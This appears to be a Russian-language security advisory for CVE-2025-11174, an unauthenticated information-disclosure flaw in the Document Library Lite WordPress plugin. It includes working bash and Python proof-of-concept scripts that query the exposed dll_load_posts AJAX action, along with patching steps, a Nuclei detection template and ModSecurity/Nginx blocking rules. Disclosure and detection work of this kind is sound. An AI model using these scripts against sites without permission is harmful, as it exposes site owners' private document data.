snailsploit/cve-2025-11174Document Library Lite <= 1.1.6 - Missing Authorization to Sensitive Information Exposure | CVE-2025-11174
Ключевые слова: CVE-2025-11174, уязвимость Document Library Lite, раскрытие информации, безопасность WordPress, неавторизованный AJAX эксплойт, уязвимость плагина WordPress, CWE-862, безопасность плагина документов WordPress, обход авторизации, CVE WordPress 2025
Уязвимость раскрытия информации в плагине Document Library Lite для WordPress (CVE-2025-11174) — ошибка безопасности, позволяющая неавторизованным пользователям получать доступ к конфиденциальным данным документов в плагине библиотеки документов WordPress.
Была обнаружена критическая уязвимость обхода авторизации в плагине Document Library Lite для WordPress, которая позволяет неавторизованным злоумышленникам получать доступ к конфиденциальной информации о документах без надлежащей аутентификации.
Обнаружено: Kai Aizen и Avraham Shemesh (SnailSploit)
Опубликовано: 1 ноября 2025 г.
Оценка CVSS: 5.3 (Средняя)
CWE: CWE-862 — Отсутствие авторизации
Плагин: Document Library Lite
Вендор: Barn2 Plugins
Тип атаки: Неавторизованное раскрытие информации
Требуемые привилегии: Нет (Неавторизованная атака)
Плагин Document Library Lite для WordPress содержит уязвимость неправильной авторизации во всех версиях до 1.1.6 включительно. Плагин предоставляет неавторизованное AJAX-действие dll_load_posts, которое возвращает JSON-таблицу данных документов без проверки nonce или прав.
Эта уязвимость позволяет неавторизованным злоумышленникам:
Примечание: Оценка CVSS 5.3 (средняя степень серьезности) отражает ограниченное раскрытие информации. Хотя уязвимость позволяет неавторизованным пользователям получать доступ к данным документов, воздействие на конфиденциальность оценено как Низкое, без воздействия на целостность или доступность.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| Метрика | Значение |
|---|---|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Нет (PR:N) |
| Взаимодействие с пользователем | Нет (UI:N) |
| Область действия | Не изменена (S:U) |
| Конфиденциальность | Низкая (C:L) |
| Целостность | Нет (I:N) |
| Доступность | Нет (A:N) |
Расшифровка CVSS v3.1:
AJAX-действие dll_load_posts зарегистрировано без надлежащих проверок аутентификации или авторизации:
// Уязвимый шаблон кода (упрощённо)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
Префикс wp_ajax_nopriv_ указывает, что это действие доступно неаутентифицированным пользователям, а функция обратного вызова не реализует:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
Уязвимость может быть использована через конечную точку WordPress admin-ajax.php без аутентификации.
⚠️ Только для образовательных целей и авторизованного тестирования
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Немедленные действия:
admin-ajax.php с action=dll_load_postsЧерез админ-панель WordPress:
Используя WP-CLI:
wp plugin update document-library-lite
Убедитесь, что все обработчики AJAX реализуют надлежащие средства контроля безопасности:
// Пример правильной безопасности AJAX
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Проверка nonce
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Invalid nonce');
}
// Проверка прав
if (!current_user_can('read')) {
wp_send_json_error('Insufficient permissions');
wp_die();
}
// Ваш безопасный код здесь
}
# Проверка, установлена ли уязвимая версия
wp plugin list | grep -i "document-library-lite"
Шаблон Nuclei:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
Правило ModSecurity:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Правило Nginx/OpenResty:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
Исследователи:
Процесс раскрытия: Скоординированное раскрытие
Эта информация предоставлена исключительно для целей исследования безопасности и защиты. Любое использование этой уязвимости в злонамеренных целях незаконно и неэтично. Всегда получайте соответствующее разрешение перед тестированием систем, которые вам не принадлежат.
По вопросам или для получения дополнительной информации об этой уязвимости:
Последнее обновление: 2 ноября 2025 г.
Полный writeup этого проекта, методология и связанные исследования находятся на:
Создано Kai Aizen — независимый исследователь безопасности в области наступательных атак.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Та же атака. Другой субстрат.